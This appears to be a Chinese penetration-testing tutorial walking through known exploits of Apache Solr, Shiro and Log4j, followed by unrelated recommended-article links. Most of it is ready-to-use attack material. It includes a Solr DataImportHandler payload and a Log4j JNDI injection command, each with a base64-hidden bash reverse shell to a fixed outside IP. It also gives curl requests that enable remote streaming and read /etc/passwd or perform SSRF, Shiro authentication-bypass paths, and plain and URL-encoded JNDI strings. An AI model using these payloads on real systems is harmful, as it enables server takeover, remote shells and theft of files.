服务攻防-Java组件安全&Solr搜索&Shiro鉴权&Log4j日志&JDK高版本绕过&CVE历史漏洞

知识点:

服务攻防-Java组件-Solr搜索&Shiro鉴权&Log4j日志

一、演示案例-服务攻防-Java组件-Solr搜索

主要基于HTTP和Apache Lucene实现的全文搜索服务器。

黑盒特征:图标及端口8393

1、命令执行(CVE-2019-17558)

影响版本

bash 复制代码
Apache Solr 5.0.0版本至8.3.1

利用项目

https://github.com/jas502n/solr_rce

bash 复制代码
D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id

2、远程命令执行漏洞(CVE-2019-0193)

影响版本

bash 复制代码
Apache Solr < 8.2.0版本

https://vulhub.org/#/environments/solr/CVE-2019-0193/

条件1

Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)

条件2

Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)

选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration

bash 复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>


3、Apache Solr 文件读取&SSRF (CVE-2021-27905)

获取数据库名

bash 复制代码
http://47.94.236.117:8983/solr/admin/cores?indexInfo=false&wt=json


访问触发

bash 复制代码
curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://47.94.236.117:8983/solr/demo/config'

任意文件读取

bash 复制代码
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

把file协议换成http协议即可造成SSRF。

bash 复制代码
例如:stream.url=http://127.0.0.1:80

4、认证绕过漏洞(CVE-2024-45216)

参考:https://mp.weixin.qq.com/s/Ke3hzJ2iGSekrsFpZV263w

bash 复制代码
GET /solr/admin/info/properties:/admin/info/key

二、演示案例-服务攻防-Java组件-Shrio鉴权

Java安全框架,能够用于身份验证、授权、加密和会话管理。

bash 复制代码
黑盒特征:数据包cookie里面rememberMe
白盒审计:看调用的shiro库对应版本是否爆过漏洞

1、CVE_2016_4437 (RCE)

bash 复制代码
Shiro-550+Shiro-721

影响范围

bash 复制代码
Apache Shiro <= 1.2.4

工具直接搜哈




2、CVE-2020-11989(身份认证绕过)

Poc:/admin/%20

影响范围:Apache Shiro < 1.7.1




3、CVE-2020-1957(身份认证绕过)

Poc:/xxx/..;/admin/

影响范围:Apache Shiro < 1.5.3

4、CVE-2022-32532(身份认证绕过)

Poc: /permit/any
/permit/a%0any可绕过

需要依赖代码具体写法,无法自动化,风险较低。

影响范围:Apache Shiro < 1.9.1

三、演示案例-服务攻防-Java组件-Log4j日志

Apache的一个开源项目,是一个基于Java的日志记录框架。

bash 复制代码
黑盒特征:盲打 会问蓝队攻击特征(${jndi:rmi:///osutj8})

1、Log4j2远程命令执行(CVE-2021-44228)

漏洞影响的产品版本包括:

bash 复制代码
Apache Log4j2 2.0 - 2.15.0-rc1

本地源码



修复


在线靶场

1、生成反弹Shell的JNDI注入

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117


2、构造JNDI注入Payload提交

bash 复制代码
${jndi:rmi://47.94.236.117:1099/osutj8}




bash 复制代码
%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%30%39%39%2f%6f%73%75%74%6a%38%7d


2、JNDI注入JDK高版本绕过

项目地址:https://github.com/B4aron1/JNDIBypass

文章参考:https://mp.weixin.qq.com/s/rxcnKAaBCDp9FHKO8eWYlQ

相关推荐
DevOpenClub15 分钟前
职教高考控制线 API:招生类别枚举、筛选与空分数含义
java·数据库·高考
露天赏雪1 小时前
第3篇:Sentinel熔断降级实战:大模型接口抖动时的服务兜底方案
java·开发语言·人工智能·spring boot·spring·servlet·sentinel
天天被压力1 小时前
【A股分钟级高频数据完全手册 #06】北交所分钟级数据接口:京市股票Pro版最新分时
java·人工智能·python
天天被压力2 小时前
【A股分钟级高频数据完全手册 #05】指数历史分钟数据接口:Pro版沪深指数分时回放
java·人工智能·python
captain3762 小时前
▲统一功能——DispatcherServlet源码分析
java·spring·java-ee·log4j·maven
金銀銅鐵2 小时前
JDK 21 中 List.of 的实现细节:从 List12 到 ListN
java·后端·ai编程
yeccheng4 小时前
MySQL 索引超详解:从底层 B+ 树到面试高频考点
java·开发语言·jvm·mysql·面试
这个昵称不容易4 小时前
SpringBoot 读书笔记共享平台部署实战:97 个 Java 文件 / 113 个接口 / 10 张表
java·springboot·毕设
金銀銅鐵6 小时前
一个 Java 文件实现《孫子兵法·始計篇》中英对照阅读器
java·后端·ai编程
DevOpenClub6 小时前
高考教育信息问答 API:会话参数、资料引用与流式响应
java·数据库·高考